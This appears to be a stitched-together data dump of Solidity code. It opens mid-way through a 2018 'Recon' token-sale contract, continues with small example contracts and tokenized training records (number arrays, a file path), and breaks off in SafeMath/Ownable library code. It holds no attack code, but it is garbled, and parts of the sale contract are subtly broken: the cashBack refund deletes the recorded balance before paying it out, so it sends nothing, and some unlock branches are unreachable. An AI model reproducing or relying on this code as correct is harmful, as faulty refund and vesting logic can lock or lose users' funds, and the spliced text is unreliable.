Securities Depository (Recon Vault Advance Payment Stock) _teamTransfer(0x0bD212e88522b7F4C673fccBCc38558829337f71, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault PrivatStock) _teamTransfer(0x5b44e309408cE6E73B9f5869C9eeaCeeb8084DC8, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault Currency Insurance stock) _teamTransfer(0x48F2eFDE1c028792EbE7a870c55A860e40eb3573, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault NextStock) _teamTransfer(0x1fF3BE6f711C684F04Cf6adfD665Ce13D54CAC73, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault FuturStock) } // @nptice kycPassed is executed by backend and tells SC // that particular client has passed KYC mapping(address => bool) public kyc; mapping(address => address) public referral; function kycPassed(address _mem, address _ref) public onlyAdmin { kyc[_mem] = true; if (_ref == richardAddr || _ref == wuguAddr) { referral[_mem] = _ref; } } // mappings for implementing ERC20 mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // mapping for implementing unlock mechanic mapping(address => uint) freezed; mapping(address => uint) teamFreezed; // ERC20 standard functions function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _transfer(address _from, address _to, uint _tokens) private { balances[_from] = balances[_from].sub(_tokens); balances[_to] = balances[_to].add(_tokens); emit Transfer(_from, _to, _tokens); } function transfer(address _to, uint _tokens) public returns (bool success) { checkTransfer(msg.sender, _tokens); _transfer(msg.sender, _to, _tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { checkTransfer(from, tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); _transfer(from, to, tokens); return true; } // @notice checkTransfer ensures that `from` can send only unlocked tokens // @notice this function is called for every transfer // We unlock PURCHASED and BONUS tokens in 13 stages: function checkTransfer(address from, uint tokens) public view { uint newBalance = balances[from].sub(tokens); uint total = 0; if (now < unlockDate5) { require(now >= unlockDate1); uint frzdPercent = 0; if (now < unlockDate2) { frzdPercent = 5; } else if (now < unlockDate3) { frzdPercent = 10; } else if (now < unlockDate4) { frzdPercent = 10; } else if (now < unlockDate5) { frzdPercent = 10; } else if (now < unlockDate6) { frzdPercent = 10; } else if (now < unlockDate7) { frzdPercent = 10; } else if (now < unlockDate8) { frzdPercent = 5; } else if (now < unlockDate9) { frzdPercent = 5; } else if (now < unlockDate10) { frzdPercent = 10; } else if (now < unlockDate11) { frzdPercent = 5; } else if (now < unlockDate12) { frzdPercent = 10; } else if (now < unlockDate13) { frzdPercent = 5; } else { frzdPercent = 5; } total = freezed[from].mul(frzdPercent).div(100); require(newBalance >= total); } if (now < teamUnlock4 && teamFreezed[from] > 0) { uint p = 0; if (now < teamUnlock1) { p = 100; } else if (now < teamUnlock2) { p = 75; } else if (now < teamUnlock3) { p = 50; } else if (now < teamUnlock4) { p = 25; } total = total.add(teamFreezed[from].mul(p).div(100)); require(newBalance >= total); } } // @return ($ received, ETH received, RECON sold) function ICOStatus() public view returns (uint usd, uint eth, uint recon) { usd = presaleSold.mul(12).div(10**20) + crowdsaleSold.mul(16).div(10**20); usd = usd.add(preicoUSD); // pre-ico tokens return (usd, ethSold + preicoUSD.mul(10**8).div(ethRate), presaleSold + crowdsaleSold); } function checkICOStatus() public view returns(bool) { uint eth; uint recon; (, eth, recon) = ICOStatus(); uint dollarsRecvd = eth.mul(ethRate).div(10**8); // 26 228 800$ return dollarsRecvd >= 25228966 || (recon == presaleSupply + crowdsaleSupply) || now > crowdsaleEndTime; } bool icoClosed = false; function closeICO() public onlyOwner { require(!icoClosed); icoClosed = checkICOStatus(); } // @notice by agreement, we can transfer $4.8M from bank // after softcap is reached. // @param _to wallet to send RECON to // @param _usd amount of dollars which is withdrawn uint bonusTransferred = 0; uint constant maxUSD = 4800000; function transferBonus(address _to, uint _usd) public onlyOwner { bonusTransferred = bonusTransferred.add(_usd); require(bonusTransferred <= maxUSD); uint recon = _usd.mul(100).mul(ReconToMicro).div(12); // presale tariff presaleSold = presaleSold.add(recon); require(presaleSold <= presaleSupply); ethSold = ethSold.add(_usd.mul(10**8).div(ethRate)); _freezeTransfer(_to, recon); } // @notice extend crowdsale for 2 weeks function prolongCrowdsale() public onlyOwnerAndDirector { require(now < crowdsaleEndTime); crowdsaleEndTime = crowdsaleHardEndTime; } // 100 000 000 Ether in dollars uint public ethRate = 0; uint public ethRateMax = 0; uint public ethLastUpdate = 0; function setETHRate(uint _rate) public onlyAdmin { require(ethRateMax == 0 || _rate < ethRateMax); ethRate = _rate; ethLastUpdate = now; } // 100 000 000 BTC in dollars uint public btcRate = 0; uint public btcRateMax = 0; uint public btcLastUpdate; function setBTCRate(uint _rate) public onlyAdmin { require(btcRateMax == 0 || _rate < btcRateMax); btcRate = _rate; btcLastUpdate = now; } // @notice setMaxRate sets max rate for both BTC/ETH to soften // negative consequences in case our backend gots hacked. function setMaxRate(uint ethMax, uint btcMax) public onlyOwnerAndDirector { ethRateMax = ethMax; btcRateMax = btcMax; } // @notice _sellPresale checks RECON purchases during crowdsale function _sellPresale(uint recon) private { require(recon >= bonusLevel0.mul(9950).div(10000)); presaleSold = presaleSold.add(recon); require(presaleSold <= presaleSupply); } // @notice _sellCrowd checks RECON purchases during crowdsale function _sellCrowd(uint recon, address _to) private { require(recon >= crowdsaleMinUSD); if (crowdsaleSold.add(recon) <= crowdsaleSupply) { crowdsaleSold = crowdsaleSold.add(recon); } else { presaleSold = presaleSold.add(crowdsaleSold).add(recon).sub(crowdsaleSupply); require(presaleSold <= presaleSupply); crowdsaleSold = crowdsaleSupply; } if (now < crowdsaleStartTime + 3 days) { if (whitemap[_to] >= recon) { whitemap[_to] -= recon; whitelistTokens -= recon; } else { require(crowdsaleSupply.add(presaleSupply).sub(presaleSold) >= crowdsaleSold.add(whitelistTokens)); } } } // @notice addInvestorBonusInPercent is used for sending bonuses for big investors in % function addInvestorBonusInPercent(address _to, uint8 p) public onlyOwner { require(p > 0 && p <= 5); uint bonus = balances[_to].mul(p).div(100); investorGiven = investorGiven.add(bonus); require(investorGiven <= investorSupply); _freezeTransfer(_to, bonus); } // @notice addInvestorBonusInTokens is used for sending bonuses for big investors in tokens function addInvestorBonusInTokens(address _to, uint tokens) public onlyOwner { _freezeTransfer(_to, tokens); investorGiven = investorGiven.add(tokens); require(investorGiven <= investorSupply); } function () payable public { purchaseWithETH(msg.sender); } // @notice _freezeTranfer perform actual tokens transfer which // will be freezed (see also checkTransfer() ) function _freezeTransfer(address _to, uint recon) private { _transfer(owner, _to, recon); freezed[_to] = freezed[_to].add(recon); } // @notice _freezeTranfer perform actual tokens transfer which // will be freezed (see also checkTransfer() ) function _teamTransfer(address _to, uint recon) private { _transfer(owner, _to, recon); teamFreezed[_to] = teamFreezed[_to].add(recon); } address public constant wuguAddr = 0x0d340F1344a262c13485e419860cb6c4d8Ec9C6e; address public constant richardAddr = 0x49BE16e7FECb14B82b4f661D9a0426F810ED7127; mapping(address => address[]) promoterClients; mapping(address => mapping(address => uint)) promoterBonus; // @notice withdrawPromoter transfers back to promoter // all bonuses accumulated to current moment function withdrawPromoter() public { address _to = msg.sender; require(_to == wuguAddr || _to == richardAddr); uint usd; (usd,,) = ICOStatus(); // USD received - 5% must be more than softcap require(usd.mul(95).div(100) >= softcapUSD); uint bonus = 0; address[] memory clients = promoterClients[_to]; for(uint i = 0; i < clients.length; i++) { if (kyc[clients[i]]) { uint num = promoterBonus[_to][clients[i]]; delete promoterBonus[_to][clients[i]]; bonus += num; } } _to.transfer(bonus); } // @notice cashBack will be used in case of failed ICO // All partitipants can receive their ETH back function cashBack(address _to) public { uint usd; (usd,,) = ICOStatus(); // ICO fails if crowd-sale is ended and we have not yet reached soft-cap require(now > crowdsaleEndTime && usd < softcapUSD); require(ethSent[_to] > 0); delete ethSent[_to]; _to.transfer(ethSent[_to]); } // @notice stores amount of ETH received by SC mapping(address => uint) ethSent; function purchaseWithETH(address _to) payable public { purchaseWithPromoter(_to, referral[msg.sender]); } // @notice purchases tokens, which a send to `_to` with 5% returned to `_ref` // @notice 5% return must work only on crowdsale function purchaseWithPromoter(address _to, address _ref) payable public { require(now >= presaleStartTime && now <= crowdsaleEndTime); require(!icoClosed); uint _wei = msg.value; uint recon; ethSent[msg.sender] = ethSent[msg.sender].add(_wei); ethSold = ethSold.add(_wei); // accept payment on presale only if it is more than 9997$ // actual check is performed in _sellPresale if (now < crowdsaleStartTime || approvedInvestors[msg.sender]) { require(kyc[msg.sender]); recon = _wei.mul(ethRate).div(75000000); // 1 RECON = 0.75 $ on presale require(now < crowdsaleStartTime || recon >= bonusLevel100); _sellPresale(recon); // we have only 2 recognized promoters if (_ref == wuguAddr || _ref == richardAddr) { promoterClients[_ref].push(_to); promoterBonus[_ref][_to] = _wei.mul(5).div(100); } } else { recon = _wei.mul(ethRate).div(10000000); // 1 RECON = 1.00 $ on crowd-sale _sellCrowd(recon, _to); } _freezeTransfer(_to, recon); } // @notice purchaseWithBTC is called from backend, where we convert // BTC to ETH, and then assign tokens to purchaser, using BTC / $ exchange rate. function purchaseWithBTC(address _to, uint _satoshi, uint _wei) public onlyAdmin { require(now >= presaleStartTime && now <= crowdsaleEndTime); require(!icoClosed); ethSold = ethSold.add(_wei); uint recon; // accept payment on presale only if it is more than 9997$ // actual check is performed in _sellPresale if (now < crowdsaleStartTime || approvedInvestors[msg.sender]) { require(kyc[msg.sender]); recon = _satoshi.mul(btcRate.mul(10000)).div(75); // 1 RECON = 0.75 $ on presale require(now < crowdsaleStartTime || recon >= bonusLevel100); _sellPresale(recon); } else { recon = _satoshi.mul(btcRate.mul(10000)).div(100); // 1 RECON = 1.00 $ on presale _sellCrowd(recon, _to); } _freezeTransfer(_to, recon); } // @notice withdrawFunds is called to send team bonuses after // then end of the ICO bool withdrawCalled = false; function withdrawFunds() public onlyOwner { require(icoClosed && now >= teamETHUnlock1); require(!withdrawCalled); withdrawCalled = true; uint eth; (,eth,) = ICOStatus(); // pre-ico tokens are not in ethSold uint minus = bonusTransferred.mul(10**8).div(ethRate); uint team = ethSold.sub(minus); team = team.mul(15).div(100); uint ownerETH = 0; uint teamETH = 0; if (address(this).balance >= team) { teamETH = team; ownerETH = address(this).balance.sub(teamETH); } else { teamETH = address(this).balance; } teamETH1 = teamETH.div(3); teamETH2 = teamETH.div(3); teamETH3 = teamETH.sub(teamETH1).sub(teamETH2); // TODO multisig address(0xf14B65F1589B8bC085578BcF68f09653D8F6abA8).transfer(ownerETH); } uint teamETH1 = 0; uint teamETH2 = 0; uint teamETH3 = 0; function withdrawTeam() public { require(now >= teamETHUnlock1); uint amount = 0; if (now < teamETHUnlock2) { amount = teamETH1; teamETH1 = 0; } else if (now < teamETHUnlock3) { amount = teamETH1 + teamETH2; teamETH1 = 0; teamETH2 = 0; } else { amount = teamETH1 + teamETH2 + teamETH3; teamETH1 = 0; teamETH2 = 0; teamETH3 = 0; } address(0x5c4F791D0E0A2E75Ee34D62c16FB6D09328555fF).transfer(amount.mul(6).div(100)); // Recon Cash-in (B2B) address(0xeB479640A6D55374aF36896eCe6db7d92F390015).transfer(amount.mul(6).div(100)); // Recon Switch (C2C) address(0x77167D25Db87dc072399df433e450B00b8Ec105A).transfer(amount.mul(6).div(100)); // Recon Cash-out (B2C) address(0x1Ecb8dC0932AF3A3ba87e8bFE7eac3Cbe433B78B).transfer(amount.mul(2).div(100)); // Recon Reward address(0x7C31BeCa0290C35c8452b95eA462C988c4003Bb0).transfer(amount.mul(2).div(100)); // Recon Donate amount = amount.mul(78).div(100); address(0x3a5326f9C9b3ff99e2e5011Aabec7b48B2e6A6A2).transfer(amount.mul(uint(255).mul(100).div(96)).div(1000)); // Recon Token address(0x5a27B07003ce50A80dbBc5512eA5BBd654790673).transfer(amount.mul(uint(185).mul(100).div(96)).div(1000)); // Recon Cash address(0xD580cF1002d0B4eF7d65dC9aC6a008230cE22692).transfer(amount.mul(uint(25).mul(100).div(96)).div(1000)); // Recon Gold address(0x9C83562Bf58083ab408E596A4bA4951a2b5724C9).transfer(amount.mul(uint(250).mul(100).div(96)).div(1000)); // Recon Card address(0x70E06c2Dd9568ECBae760CE2B61aC221C0c497F5).transfer(amount.mul(uint(245).mul(100).div(96)).div(1000)); // Recon Hardrive Wallet } // @notice doAirdrop is called when we launch airdrop. // @notice airdrop tokens has their own supply. uint dropped = 0; function doAirdrop(address[] members, uint[] tokens) public onlyOwnerAndDirector { require(members.length == tokens.length); for(uint i = 0; i < members.length; i++) { _freezeTransfer(members[i], tokens[i]); dropped = dropped.add(tokens[i]); } require(dropped <= bountySupply); } mapping(address => uint) public whitemap; uint public whitelistTokens = 0; // @notice addWhitelistMember is used to whitelist participant. // This means, that for the first 3 days of crowd-sale `_tokens` RECON // will be reserved for him. function addWhitelistMember(address[] _mem, uint[] _tokens) public onlyAdmin { require(_mem.length == _tokens.length); for(uint i = 0; i < _mem.length; i++) { whitelistTokens = whitelistTokens.sub(whitemap[_mem[i]]).add(_tokens[i]); whitemap[_mem[i]] = _tokens[i]; } } uint public adviserSold = 0; // @notice transferAdviser is called to send tokens to advisers. // @notice adviser tokens have their own supply function transferAdviser(address[] _adv, uint[] _tokens) public onlyOwnerAndDirector { require(_adv.length == _tokens.length); for (uint i = 0; i < _adv.length; i++) { adviserSold = adviserSold.add(_tokens[i]); _freezeTransfer(_adv[i], _tokens[i]); } require(adviserSold <= adviserSupply); } mapping(address => bool) approvedInvestors; function approveInvestor(address _addr) public onlyOwner { approvedInvestors[_addr] = true; } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract ERC20InterfaceTest { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contracts that can have tokens approved, and then a function execute // ---------------------------------------------------------------------------- contract TestApproveAndCallFallBack { event LogBytes(bytes data); function receiveApproval(address from, uint256 tokens, address token, bytes data) public { ERC20Interface(token).transferFrom(from, address(this), tokens); emit LogBytes(data); } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract AccessRestriction { // These will be assigned at the construction // phase, where `msg.sender` is the account // creating this contract. address public owner = msg.sender; uint public creationTime = now; // Modifiers can be used to change // the body of a function. // If this modifier is used, it will // prepend a check that only passes // if the function is called from // a certain address. modifier onlyBy(address _account) { require( msg.sender == _account, "Sender not authorized." ); // Do not forget the "_;"! It will // be replaced by the actual function // body when the modifier is used. _; } // Make `_newOwner` the new owner of this // contract. function changeOwner(address _newOwner) public onlyBy(owner) { owner = _newOwner; } modifier onlyAfter(uint _time) { require( now >= _time, "Function called too early." ); _; } // Erase ownership information. // May only be called 6 weeks after // the contract has been created. function disown() public onlyBy(owner) onlyAfter(creationTime + 6 weeks) { delete owner; } // This modifier requires a certain // fee being associated with a function call. // If the caller sent too much, he or she is // refunded, but only after the function body. // This was dangerous before Solidity version 0.4.0, // where it was possible to skip the part after `_;`. modifier costs(uint _amount) { require( msg.value >= _amount, "Not enough Ether provided." ); _; if (msg.value > _amount) msg.sender.transfer(msg.value - _amount); } function forceOwnerChange(address _newOwner) public payable costs(200 ether) { owner = _newOwner; // just some example condition if (uint(owner) & 0 == 1) // This did not refund for Solidity // before version 0.4.0. return; // refund overpaid fees } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract WithdrawalContract { address public richest; uint public mostSent; mapping (address => uint) pendingWithdrawals; constructor() public payable { richest = msg.sender; mostSent = msg.value; } function becomeRichest() public payable returns (bool) { if (msg.value > mostSent) { pendingWithdrawals[richest] += msg.value; richest = msg.sender; mostSent = msg.value; return true; } else { return false; } } function withdraw() public { uint amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } } // ----------------------------------------------------------------------------------------------------------------- //. //" //. ::::::.. .,:::::: .,-::::: ... :::. ::: //. ;;;;``;;;; ;;;;'''' ,;;;'````' .;;;;;;;.`;;;;, `;;; //. [[[,/[[[' [[cccc [[[ ,[[ \[[,[[[[[. '[[ //. $$$$$$c $$"""" $$$ $$$, $$$$$$ "Y$c$$ //. 888b "88bo,888oo,__`88bo,__,o,"888,_ _,88P888 Y88 //. MMMM "W" """"YUMMM "YUMMMMMP" "YMMMMMP" MMM YM //. //. //" ----------------------------------------------------------------------------------------------------------------- // ¸.•*´¨) // ¸.•´ ¸.•´¸.•*´¨) ¸.•*¨) // ¸.•*´ (¸.•´ (¸.•` ¤ ReconBank.eth / ReconBank.com*´¨) // ¸.•´¸.•*´¨) // (¸.•´ ¸.•` // ¸.•´•.¸ // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // ----------------------------------------------------------------------------------------------------------------- // // Common ownership of : // ____ _ _ _____ _____ _ _ // | _ \| | | | | __ \ / ____| | (_) // | |_) | | ___ ___| | _| |__) |___ ___ ___ _ __ | | | |__ __ _ _ _ __ // | _ <| |/ _ \ / __| |/ / _ // _ \/ __/ _ \| '_ \| | | '_ \ / _` | | '_ \ // | |_) | | (_) | (__| <| | \ \ __/ (_| (_) | | | | |____| | | | (_| | | | | | // |____/|_|\___/ \___|_|\_\_| \_\___|\___\___/|_| |_|\_____|_| |_|\__,_|_|_| |_|® //' // ----------------------------------------------------------------------------------------------------------------- // // This contract is an order from : //' // ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ██╗██████╗ █████╗ ███╗ ██╗██╗ ██╗ ██████╗ ██████╗ ███╗ ███╗® // ██╔══██╗██╔════╝██╔════╝██╔═══██╗████╗ ██║██╔══██╗██╔══██╗████╗ ██║██║ ██╔╝ ██╔════╝██╔═══██╗████╗ ████║ // ██████╔╝█████╗ ██║ ██║ ██║██╔██╗ ██║██████╔╝███████║██╔██╗ ██║█████╔╝ ██║ ██║ ██║██╔████╔██║ // ██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔══██╗██╔══██║██║╚██╗██║██╔═██╗ ██║ ██║ ██║██║╚██╔╝██║ // ██║ ██║███████╗╚██████╗╚██████╔╝██║ ╚████║██████╔╝██║ ██║██║ ╚████║██║ ██╗██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║ // ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝' // // ----------------------------------------------------------------------------------------------------------------- // Thank you for making the extra effort that others probably wouldnt have made
Recon Hardrive Wallet
_teamTransfer(0x70E06c2Dd9568ECBae760CE2B61aC221C0c497F5, 2000000000 * ReconToMicro);
918,213
[ 1, 426, 591, 670, 1060, 86, 688, 20126, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 10035, 5912, 12, 20, 92, 7301, 41, 7677, 71, 22, 40, 72, 29, 4313, 28, 7228, 38, 8906, 27, 4848, 1441, 22, 38, 9498, 69, 39, 3787, 21, 39, 20, 71, 7616, 27, 42, 25, 16, 576, 2787, 11706, 380, 868, 591, 774, 13617, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/8217/0xD5ad6D61Dd87EdabE2332607C328f5cc96aeCB95/sources/contracts/TreasuryRebalance.sol
* Storage/* Modifiers/
modifier onlyAtStatus(Status _status) { require(status == _status, "Not in the designated status"); _; }
13,229,937
[ 1, 3245, 19, 3431, 3383, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 861, 1482, 12, 1482, 389, 2327, 13, 288, 203, 3639, 2583, 12, 2327, 422, 389, 2327, 16, 315, 1248, 316, 326, 25264, 1267, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.1; // SPDX-License-Identifier: GPL-3.0 /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "Not authorized operation"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Address shouldn't be zero"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is 